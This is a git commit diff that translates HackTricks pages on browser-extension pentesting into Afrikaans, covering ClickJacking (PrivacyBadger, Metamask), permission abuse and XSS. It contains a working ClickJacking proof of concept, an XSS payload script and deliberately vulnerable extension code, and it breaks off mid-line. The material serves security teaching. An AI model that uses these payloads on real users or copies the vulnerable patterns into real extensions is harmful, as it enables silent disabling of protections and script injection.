Translated ['src/pentesting-web/browser-extension-pentesting-methodology

This commit is contained in:
Translator 2025-01-02 14:20:19 +00:00
parent c58372d5e7
commit 31afb5d0db
337 changed files with 21150 additions and 25613 deletions

View File

@ -2,101 +2,96 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Basiese Inligting
This page is going to abuse a ClickJacking vulnerability in a Browser extension.\
If you don't know what ClickJacking is check:
Hierdie bladsy gaan 'n ClickJacking kwesbaarheid in 'n Blaaier uitbreiding misbruik.\
As jy nie weet wat ClickJacking is nie, kyk:
{{#ref}}
../clickjacking.md
{{#endref}}
Extensions contains the file **`manifest.json`** and that JSON file has a field `web_accessible_resources`. Here's what [the Chrome docs](https://developer.chrome.com/extensions/manifest/web_accessible_resources) say about it:
Uitbreidings bevat die lêer **`manifest.json`** en daardie JSON-lêer het 'n veld `web_accessible_resources`. Hier is wat [die Chrome dokumentasie](https://developer.chrome.com/extensions/manifest/web_accessible_resources) daaroor sê:
> These resources would then be available in a webpage via the URL **`chrome-extension://[PACKAGE ID]/[PATH]`**, which can be generated with the **`extension.getURL method`**. Allowlisted resources are served with appropriate CORS headers, so they're available via mechanisms like XHR.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
> Hierdie hulpbronne sal dan beskikbaar wees in 'n webblad via die URL **`chrome-extension://[PACKAGE ID]/[PATH]`**, wat gegenereer kan word met die **`extension.getURL method`**. Toegelate hulpbronne word bedien met toepaslike CORS koptekste, sodat hulle beskikbaar is via meganismes soos XHR.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
The **`web_accessible_resources`** in a browser extension are not just accessible via the web; they also operate with the extension's inherent privileges. This means they have the capability to:
Die **`web_accessible_resources`** in 'n blaaiers uitbreiding is nie net via die web toeganklik nie; hulle werk ook met die uitbreiding se inherente voorregte. Dit beteken hulle het die vermoë om:
- Change the extension's state
- Load additional resources
- Interact with the browser to a certain extent
- Die uitbreiding se toestand te verander
- Bykomende hulpbronne te laai
- Met die blaaiers tot 'n sekere mate te kommunikeer
However, this feature presents a security risk. If a resource within **`web_accessible_resources`** has any significant functionality, an attacker could potentially embed this resource into an external web page. Unsuspecting users visiting this page might inadvertently activate this embedded resource. Such activation could lead to unintended consequences, depending on the permissions and capabilities of the extension's resources.
Egter, hierdie kenmerk bied 'n sekuriteitsrisiko. As 'n hulpbron binne **`web_accessible_resources`** enige beduidende funksionaliteit het, kan 'n aanvaller moontlik hierdie hulpbron in 'n eksterne webblad inkorporeer. Onbewuste gebruikers wat hierdie bladsy besoek, mag per ongeluk hierdie ingekorporeerde hulpbron aktiveer. So 'n aktivering kan lei tot onvoorsiene gevolge, afhangende van die toestemmings en vermoëns van die uitbreiding se hulpbronne.
## PrivacyBadger Example
In the extension PrivacyBadger, a vulnerability was identified related to the `skin/` directory being declared as `web_accessible_resources` in the following manner (Check the original [blog post](https://blog.lizzie.io/clickjacking-privacy-badger.html)):
## PrivacyBadger Voorbeeld
In die uitbreiding PrivacyBadger is 'n kwesbaarheid geïdentifiseer wat verband hou met die `skin/` gids wat as `web_accessible_resources` verklaar is op die volgende manier (Kyk die oorspronklike [blogpos](https://blog.lizzie.io/clickjacking-privacy-badger.html)):
```json
"web_accessible_resources": [
"skin/*",
"icons/*"
"skin/*",
"icons/*"
]
```
Hierdie konfigurasie het gelei tot 'n potensiële sekuriteitsprobleem. Spesifiek, die `skin/popup.html` lêer, wat gerender word wanneer daar interaksie is met die PrivacyBadger ikoon in die blaaier, kan binne 'n `iframe` ingebed word. Hierdie inbedding kan uitgebuit word om gebruikers te mislei om per ongeluk op "Disable PrivacyBadger for this Website" te klik. So 'n aksie sou die gebruiker se privaatheid in gevaar stel deur die PrivacyBadger beskerming te deaktiveer en die gebruiker moontlik aan verhoogde opsporing bloot te stel. 'n Visuele demonstrasie van hierdie uitbuiting kan gesien word in 'n ClickJacking video voorbeeld wat verskaf word by [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm).
This configuration led to a potential security issue. Specifically, the `skin/popup.html` file, which is rendered upon interaction with the PrivacyBadger icon in the browser, could be embedded within an `iframe`. This embedding could be exploited to deceive users into inadvertently clicking on "Disable PrivacyBadger for this Website". Such an action would compromise the user's privacy by disabling the PrivacyBadger protection and potentially subjecting the user to increased tracking. A visual demonstration of this exploit can be viewed in a ClickJacking video example provided at [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm).
Om hierdie kwesbaarheid aan te spreek, is 'n eenvoudige oplossing geïmplementeer: die verwydering van `/skin/*` uit die lys van `web_accessible_resources`. Hierdie verandering het die risiko effektief verminder deur te verseker dat die inhoud van die `skin/` gids nie deur web-toeganklike hulpbronne toegang of gemanipuleer kon word nie.
To address this vulnerability, a straightforward solution was implemented: the removal of `/skin/*` from the list of `web_accessible_resources`. This change effectively mitigated the risk by ensuring that the content of the `skin/` directory could not be accessed or manipulated through web-accessible resources.
The fix was easy: **remove `/skin/*` from the `web_accessible_resources`**.
Die regstelling was maklik: **verwyder `/skin/*` uit die `web_accessible_resources`**.
### PoC
```html
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
float: top;
position: absolute;
}
#stuff {
float: top;
position: absolute;
}
button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
<h1>Click the button</h1>
<button id="button">click me</button>
<h1>Click the button</h1>
<button id="button">click me</button>
</div>
<iframe
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
```
## Metamask Voorbeeld
## Metamask Example
A [**blog post about a ClickJacking in metamask can be found here**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). In this case, Metamask fixed the vulnerability by checking that the protocol used to access it was **`https:`** or **`http:`** (not **`chrome:`** for example):
'n [**blogpos oor 'n ClickJacking in metamask kan hier gevind word**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). In hierdie geval het Metamask die kwesbaarheid reggestel deur te verifieer dat die protokol wat gebruik is om toegang te verkry **`https:`** of **`http:`** was (nie **`chrome:`** nie, byvoorbeeld):
<figure><img src="../../images/image (21).png" alt=""><figcaption></figcaption></figure>
**Another ClickJacking fixed** in the Metamask extension was that users were able to **Click to whitelist** when a page was suspicious of being phishing because of `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. As that page was vulnerable to Clickjacking, an attacker could abuse it showing something normal to make the victim click to whitelist it without noticing, and then going back to the phishing page which will be whitelisted.
**Nog 'n ClickJacking wat reggestel is** in die Metamask-uitbreiding was dat gebruikers in staat was om **Klik om te witlys** wanneer 'n bladsy verdag was om phishing te wees as gevolg van `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Aangesien daardie bladsy kwesbaar was vir Clickjacking, kon 'n aanvaller dit misbruik deur iets normaal te wys om die slagoffer te laat klik om dit te witlys sonder om dit te besef, en dan terug te gaan na die phishing-bladsy wat gewitlys sal word.
## Steam Inventory Helper Example
## Steam Inventory Helper Voorbeeld
Check the following page to check how a **XSS** in a browser extension was chained with a **ClickJacking** vulnerability:
Kyk na die volgende bladsy om te sien hoe 'n **XSS** in 'n blaaiers-uitbreiding geketting is met 'n **ClickJacking** kwesbaarheid:
{{#ref}}
browext-xss-example.md
{{#endref}}
## References
## Verwysings
- [https://blog.lizzie.io/clickjacking-privacy-badger.html](https://blog.lizzie.io/clickjacking-privacy-badger.html)
- [https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,114 +1,111 @@
# BrowExt - permissions & host_permissions
# BrowExt - toestemmings & host_permissions
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Basiese Inligting
### **`permissions`**
Permissions are defined in the extension's **`manifest.json`** file using the **`permissions`** property and allow access to almost anything a browser can access (Cookies or Physical Storage):
Toestemmings word gedefinieer in die uitbreiding se **`manifest.json`** lêer met die **`permissions`** eienskap en laat toegang toe tot byna enigiets wat 'n blaaier kan toegang hê (Koekies of Fisiese Berging):
The previous manifest declares that the extension requires the `storage` permission. This means that it can use [the storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) to store its data persistently. Unlike cookies or `localStorage` APIs which give users some level of control, **extension storage can normally only be cleared by uninstalling the extension**.
Die vorige manifest verklaar dat die uitbreiding die `storage` toestemming benodig. Dit beteken dat dit die [storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) kan gebruik om sy data volhoubaar te stoor. Anders as koekies of `localStorage` API's wat gebruikers 'n sekere vlak van beheer gee, **kan uitbreiding berging normaalweg net verwyder word deur die uitbreiding te deïnstalleer**.
An extension will request the permissions indicated in its **`manifest.json`** file and After installing the extension, you can **always check its permissions in your browser**, as shown in this image:
'n Uitbreiding sal die toestemmings wat in sy **`manifest.json`** lêer aangedui word, versoek en na die installering van die uitbreiding kan jy **altyd sy toestemmings in jou blaaiers nagaan**, soos in hierdie beeld getoon:
<figure><img src="../../images/image (18).png" alt=""><figcaption></figcaption></figure>
You can find the [**complete list of permissions a Chromium Browser Extension can request here**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) and a [**complete list for Firefox extensions here**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.**
Jy kan die [**volledige lys van toestemmings wat 'n Chromium Blaaier Uitbreiding kan versoek hier vind**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) en 'n [**volledige lys vir Firefox uitbreidings hier**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.**
### `host_permissions`
The optional but powerful setting **`host_permissions`** indicates with which hosts the extension is going to be able to interact via apis such as [`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies), [`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest), and [`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs).
The following `host_permissions` basically allow every web:
Die opsionele maar kragtige instelling **`host_permissions`** dui aan met watter gasheer die uitbreiding in staat gaan wees om te kommunikeer via API's soos [`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies), [`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest), en [`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs).
Die volgende `host_permissions` laat basies elke web toe:
```json
"host_permissions": [
"*://*/*"
"*://*/*"
]
// Or:
"host_permissions": [
"http://*/*",
"https://*/*"
"http://*/*",
"https://*/*"
]
// Or:
"host_permissions": [
"<all_urls>"
"<all_urls>"
]
```
Hierdie is die gasheer wat die blaaiers uitbreiding vrylik kan toegang. Dit is omdat wanneer 'n blaaiers uitbreiding **`fetch("https://gmail.com/")`** aanroep, dit nie deur CORS beperk word nie.
These are the hosts that the browser extension can access freely. This is because when a browser extension calls **`fetch("https://gmail.com/")`** it's not restricted by CORS.
## Misbruik van `permissions` en `host_permissions`
## Abusing `permissions` and `host_permissions`
### Oortjies
### Tabs
Moreover, **`host_permissions`** also unlock “advanced” [**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **functionality.** They allow the extension to call [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) and not only get a **list of users browser tabs** back but also learn which **web page (meaning address and title) is loaded**.
Boonop ontsluit **`host_permissions`** ook "gevorderde" [**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **funksionaliteit.** Dit laat die uitbreiding toe om [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) aan te roep en nie net 'n **lys van die gebruiker se blaaiertabs** terug te kry nie, maar ook te leer watter **webblad (wat adres en titel beteken) gelaai is**.
> [!CAUTION]
> Not only that, listeners like [**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) **become way more useful as well**. These will be notified whenever a new page loads into a tab.
> Nie net dit nie, luisteraars soos [**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) **word ook baie nuttiger.** Hierdie sal kennisgewing ontvang wanneer 'n nuwe bladsy in 'n tab laai.
### Running content scripts <a href="#running-content-scripts" id="running-content-scripts"></a>
### Loop inhoudskripte <a href="#running-content-scripts" id="running-content-scripts"></a>
Content scripts arent necessarily written statically into the extension manifest. Given sufficient **`host_permissions`**, **extensions can also load them dynamically by calling** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **or** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript).
Inhoudskripte is nie noodwendig staties in die uitbreiding manifest geskryf nie. Gegewe voldoende **`host_permissions`**, **kan uitbreidings dit ook dinamies laai deur** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **of** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript) aan te roep.
Both APIs allow executing not merely files contained in the extensions as content scripts but also **arbitrary cod**e. The former allows passing in JavaScript code as a string while the latter expects a JavaScript function which is less prone to injection vulnerabilities. Still, both APIs will wreak havoc if misused.
Albei API's laat nie net die uitvoering van lêers wat in die uitbreidings as inhoudskripte bevat is toe nie, maar ook **arbitraire kode**. Die eerste laat die oorgang van JavaScript-kode as 'n string toe terwyl die laaste 'n JavaScript-funksie verwag wat minder geneig is tot inspuitingskwesbaarhede. Tog, albei API's sal chaos veroorsaak as dit verkeerd gebruik word.
> [!CAUTION]
> In addition to the capabilities above, content scripts could for example **intercept credentials** as these are entered into web pages. Another classic way to abuse them is **injecting advertising** on each an every website. Adding **scam messages** to abuse credibility of news websites is also possible. Finally, they could **manipulate banking** websites to reroute money transfers.
> Benewens die bogenoemde vermoëns, kan inhoudskripte byvoorbeeld **akkrediteer** wanneer dit in webbladsye ingevoer word. 'N Ander klassieke manier om dit te misbruik is **om advertensies in te spuit** op elke webwerf. Dit is ook moontlik om **bedrogboodskappe** toe te voeg om die geloofwaardigheid van nuuswebwerwe te misbruik. Laastens kan hulle **bankwebwerwe manipuleer** om geldtransfers te herlei.
### Implicit privileges <a href="#implicit-privileges" id="implicit-privileges"></a>
### Impliciete voorregte <a href="#implicit-privileges" id="implicit-privileges"></a>
Some extension privileges **dont have to be explicitly declared**. One example is the [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): its basic functionality is accessible without any privileges whatsoever. Any extension can be notified when you open and close tabs, it merely wont know which website these tabs correspond with.
Sommige uitbreiding voorregte **hoef nie eksplisiet verklaar te word nie**. Een voorbeeld is die [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): sy basiese funksionaliteit is toeganklik sonder enige voorregte. Enige uitbreiding kan kennisgewing ontvang wanneer jy tabs oopmaak en sluit, dit sal net nie weet watter webwerf hierdie tabs ooreenstem nie.
Sounds too harmless? The [tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) is somewhat less so. It can be used to **create a new tab**, essentially the same as [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) which can be called by any website. Yet while `window.open()` is subject to the **pop-up blocker, `tabs.create()` isnt**.
Klink te onskadelik? Die [tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) is ietwat minder so. Dit kan gebruik word om **'n nuwe tab te skep**, essensieel dieselfde as [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) wat deur enige webwerf aangeroep kan word. Tog, terwyl `window.open()` onderhewig is aan die **pop-up blokker, is `tabs.create()` nie**.
> [!CAUTION]
> An extension can create any number of tabs whenever it wants.
> 'N uitbreiding kan enige aantal tabs skep wanneer dit wil.
If you look through possible `tabs.create()` parameters, youll also notice that its capabilities go way beyond what `window.open()` is allowed to control. And while Firefox doesnt allow `data:` URIs to be used with this API, Chrome has no such protection. **Use of such URIs on the top level has been** [**banned due to being abused for phishing**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**.**
As jy deur moontlike `tabs.create()` parameters kyk, sal jy ook opgemerk dat sy vermoëns baie verder gaan as wat `window.open()` toegelaat word om te beheer. En terwyl Firefox nie toelaat dat `data:` URIs met hierdie API gebruik word nie, het Chrome nie so 'n beskerming nie. **Die gebruik van sulke URIs op die boonste vlak is** [**verbied weens misbruik vir phishing**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**.**
[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) is very similar to `tabs.create()` but will **modify an existing tab**. So a malicious extension can for example arbitrarily load an advertising page into one of your tabs, and it can activate the corresponding tab as well.
[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) is baie soortgelyk aan `tabs.create()` maar sal **'n bestaande tab wysig**. So kan 'n kwaadwillige uitbreiding byvoorbeeld arbitrêr 'n advertensiebladsy in een van jou tabs laai, en dit kan ook die ooreenstemmende tab aktiveer.
### Webcam, geolocation and friends <a href="#webcam-geolocation-and-friends" id="webcam-geolocation-and-friends"></a>
### Webcam, geolokasie en vriende <a href="#webcam-geolocation-and-friends" id="webcam-geolocation-and-friends"></a>
You probably know that websites can request special permissions, e.g. in order to access your webcam (video conferencing tools) or geographical location (maps). Its features with considerable potential for abuse, so users each time have to confirm that they still want this.
Jy weet waarskynlik dat webwerwe spesiale toestemming kan vra, byvoorbeeld om toegang tot jou webcam (video konferensie gereedskap) of geografiese ligging (kaarte) te verkry. Dit is funksies met aansienlike potensiaal vir misbruik, so gebruikers moet elke keer bevestig dat hulle steeds dit wil hê.
> [!CAUTION]
> Not so with browser extensions. **If a browser extension** [**wants access to your webcam or microphone**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, it only needs to ask for permission once**
> Nie so met blaaiers uitbreidings nie. **As 'n blaaiers uitbreiding** [**toegang tot jou webcam of mikrofoon wil hê**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, hoef dit net een keer toestemming te vra**
Typically, an extension will do so immediately after being installed. Once this prompt is accepted, **webcam access is possible at any time**, even if the user isnt interacting with the extension at this point. Yes, a user will only accept this prompt if the extension really needs webcam access. But after that they have to trust the extension not to record anything secretly.
Tipies sal 'n uitbreiding dit onmiddellik na installasie doen. Sodra hierdie prompt aanvaar word, **is webcam toegang te enige tyd moontlik**, selfs al interaksie die gebruiker nie met die uitbreiding op hierdie punt nie. Ja, 'n gebruiker sal hierdie prompt net aanvaar as die uitbreiding regtig webcam toegang benodig. Maar daarna moet hulle die uitbreiding vertrou om niks geheim op te neem nie.
With access to [your exact geographical location](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) or [contents of your clipboard](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), granting permission explicitly is unnecessary altogether. **An extension simply adds `geolocation` or `clipboard` to the** [**permissions entry**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **of its manifest**. These access privileges are then granted implicitly when the extension is installed. So a malicious or compromised extension with these privileges can create your movement profile or monitor your clipboard for copied passwords without you noticing anything.
Met toegang tot [jou presiese geografiese ligging](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) of [inhoud van jou klembord](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), is dit glad nie nodig om toestemming eksplisiet te verleen nie. **'N uitbreiding voeg eenvoudig `geolocation` of `clipboard` by die** [**permissions entry**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **van sy manifest.** Hierdie toegang voorregte word dan implisiet toegestaan wanneer die uitbreiding geïnstalleer word. So 'n kwaadwillige of gecompromitteerde uitbreiding met hierdie voorregte kan jou bewegingsprofiel skep of jou klembord monitor vir gekopieerde wagwoorde sonder dat jy enigiets opgemerk het.
Adding the **`history`** keyword to the [permissions entry](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) of the extension manifest grants **access to the** [**history API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). It allows retrieving the users entire browsing history all at once, without waiting for the user to visit these websites again.
Die toevoeging van die **`history`** sleutelwoord aan die [permissions entry](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) van die uitbreiding manifest verleen **toegang tot die** [**history API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). Dit laat toe om die gebruiker se hele blaai geskiedenis alles op een slag te verkry, sonder om te wag vir die gebruiker om hierdie webwerwe weer te besoek.
The **`bookmarks`** **permission** has similar abuse potential, this one allows **reading out all bookmarks via the** [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks).
Die **`bookmarks`** **toestemming** het soortgelyke misbruik potensiaal, hierdie een laat **toe om alle boekmerke via die** [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks) te lees.
### Storage permission <a href="#the-storage-permission" id="the-storage-permission"></a>
### Berging toestemming <a href="#the-storage-permission" id="the-storage-permission"></a>
The extension storage is merely a key-value collection, very similar to [localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) that any website could use. So no sensitive information should be stored here.
Die uitbreiding berging is bloot 'n sleutel-waarde versameling, baie soortgelyk aan [localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) wat enige webwerf kan gebruik. So geen sensitiewe inligting moet hier gestoor word nie.
However, advertising companies could also abuse this storage.
Echter, advertensie maatskappye kan ook hierdie berging misbruik.
### More permissions
### Meer toestemming
You can find the [**complete list of permissions a Chromium Browser Extension can request here**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) and a [**complete list for Firefox extensions here**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.**
Jy kan die [**volledige lys van toestemming wat 'n Chromium Blaaiers Uitbreiding kan vra hier vind**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) en 'n [**volledige lys vir Firefox uitbreidings hier**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.**
## Prevention <a href="#why-not-restrict-extension-privileges" id="why-not-restrict-extension-privileges"></a>
## Prevensie <a href="#why-not-restrict-extension-privileges" id="why-not-restrict-extension-privileges"></a>
The policy of Google's developer explicitly forbids extensions from requesting more privileges than necessary for their functionality, effectively mitigating excessive permission requests. An instance where a browser extension overstepped this boundary involved its distribution with the browser itself rather than through an add-on store.
Die beleid van Google se ontwikkelaar verbied eksplisiet uitbreidings om meer voorregte te vra as wat nodig is vir hul funksionaliteit, wat effektief oortollige toestemming versoeke verminder. 'N Voorbeeld waar 'n blaaiers uitbreiding hierdie grens oorgesteek het, het behels dat dit saam met die blaaiers self versprei is eerder as deur 'n byvoeging winkel.
Browsers could further curb the misuse of extension privileges. For instance, Chrome's [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) and [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) APIs, used for screen recording, are designed to minimize abuse. The tabCapture API can only be activated through direct user interaction, such as clicking on the extension icon, while desktopCapture requires user confirmation for the window to be recorded, preventing clandestine recording activities.
Blaaiers kan verder die misbruik van uitbreiding voorregte beperk. Byvoorbeeld, Chrome se [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) en [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) API's, wat vir skermopnames gebruik word, is ontwerp om misbruik te minimaliseer. Die tabCapture API kan slegs geaktiveer word deur direkte gebruikersinteraksie, soos om op die uitbreiding ikoon te klik, terwyl desktopCapture gebruikersbevestiging vereis vir die venster wat opgeneem moet word, wat geheime opname aktiwiteite voorkom.
However, tightening security measures often results in decreased flexibility and user-friendliness of extensions. The [activeTab permission](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) illustrates this trade-off. It was introduced to eliminate the need for extensions to request host privileges across the entire internet, allowing extensions to access only the current tab upon explicit activation by the user. This model is effective for extensions requiring user-initiated actions but falls short for those requiring automatic or pre-emptive actions, thereby compromising convenience and immediate responsiveness.
Echter, om sekuriteitsmaatreëls te verskerp, lei dikwels tot verminderde buigsaamheid en gebruikersvriendelikheid van uitbreidings. Die [activeTab toestemming](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) illustreer hierdie afruil. Dit is bekendgestel om die behoefte aan uitbreidings om gasheer voorregte oor die hele internet te vra, te elimineer, wat uitbreidings toelaat om slegs die huidige tab te benader op eksplisiete aktivering deur die gebruiker. Hierdie model is effektief vir uitbreidings wat gebruikers-gestuurde aksies benodig, maar val kort vir diegene wat outomatiese of voorafgaande aksies benodig, wat gerief en onmiddellike reaksie benadeel.
## **References**
## **Verwysings**
- [https://palant.info/2022/08/17/impact-of-extension-privileges/](https://palant.info/2022/08/17/impact-of-extension-privileges/)
- [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,119 +1,104 @@
# BrowExt - XSS Example
# BrowExt - XSS Voorbeeld
{{#include ../../banners/hacktricks-training.md}}
## Cross-Site Scripting (XSS) through Iframe
In this setup, a **content script** is implemented to instantiate an Iframe, incorporating a URL with query parameters as the source of the Iframe:
## Cross-Site Scripting (XSS) deur Iframe
In hierdie opstelling word 'n **inhoudskrip** geïmplementeer om 'n Iframe te instantiëer, wat 'n URL met navraagparameters as die bron van die Iframe insluit:
```javascript
chrome.storage.local.get("message", (result) => {
let constructedURL =
chrome.runtime.getURL("message.html") +
"?content=" +
encodeURIComponent(result.message) +
"&redirect=https://example.net/details"
frame.src = constructedURL
let constructedURL =
chrome.runtime.getURL("message.html") +
"?content=" +
encodeURIComponent(result.message) +
"&redirect=https://example.net/details"
frame.src = constructedURL
})
```
A publicly accessible HTML page, **`message.html`**, is designed to dynamically add content to the document body based on the parameters in the URL:
'n Publiek toeganklike HTML-bladsy, **`message.html`**, is ontwerp om dinamies inhoud by die dokumentliggaam toe te voeg gebaseer op die parameters in die URL:
```javascript
$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search)
let userContent = urlParams.get("content")
$(document.body).html(
`${userContent} <button id='detailBtn'>Details</button>`
)
$("#detailBtn").on("click", () => {
let destinationURL = urlParams.get("redirect")
chrome.tabs.create({ url: destinationURL })
})
let urlParams = new URLSearchParams(window.location.search)
let userContent = urlParams.get("content")
$(document.body).html(
`${userContent} <button id='detailBtn'>Details</button>`
)
$("#detailBtn").on("click", () => {
let destinationURL = urlParams.get("redirect")
chrome.tabs.create({ url: destinationURL })
})
})
```
A malicious script is executed on an adversary's page, modifying the `content` parameter of the Iframe's source to introduce a **XSS payload**. This is achieved by updating the Iframe's source to include a harmful script:
'n Kwaadwillige skrip word op 'n teenstander se bladsy uitgevoer, wat die `content` parameter van die Iframe se bron aanpas om 'n **XSS payload** in te voer. Dit word bereik deur die Iframe se bron op te dateer om 'n skadelike skrip in te sluit:
```javascript
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src
let baseURL = targetFrame.split("?")[0]
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>"
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`
let targetFrame = document.querySelector("iframe").src
let baseURL = targetFrame.split("?")[0]
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>"
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`
document.querySelector("iframe").src = maliciousURL
document.querySelector("iframe").src = maliciousURL
}, 1000)
```
An overly permissive Content Security Policy such as:
'n Oormatig toelaatbare Inhoudsekuriteitsbeleid soos:
```json
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
```
laat die uitvoering van JavaScript toe, wat die stelsel kwesbaar maak vir XSS-aanvalle.
allows the execution of JavaScript, making the system vulnerable to XSS attacks.
An alternative approach to provoke the XSS involves creating an Iframe element and setting its source to include the harmful script as the `content` parameter:
'n Alternatiewe benadering om die XSS te provoceer, behels die skep van 'n Iframe-element en die instelling van sy bron om die skadelike skrip as die `content` parameter in te sluit:
```javascript
let newFrame = document.createElement("iframe")
newFrame.src =
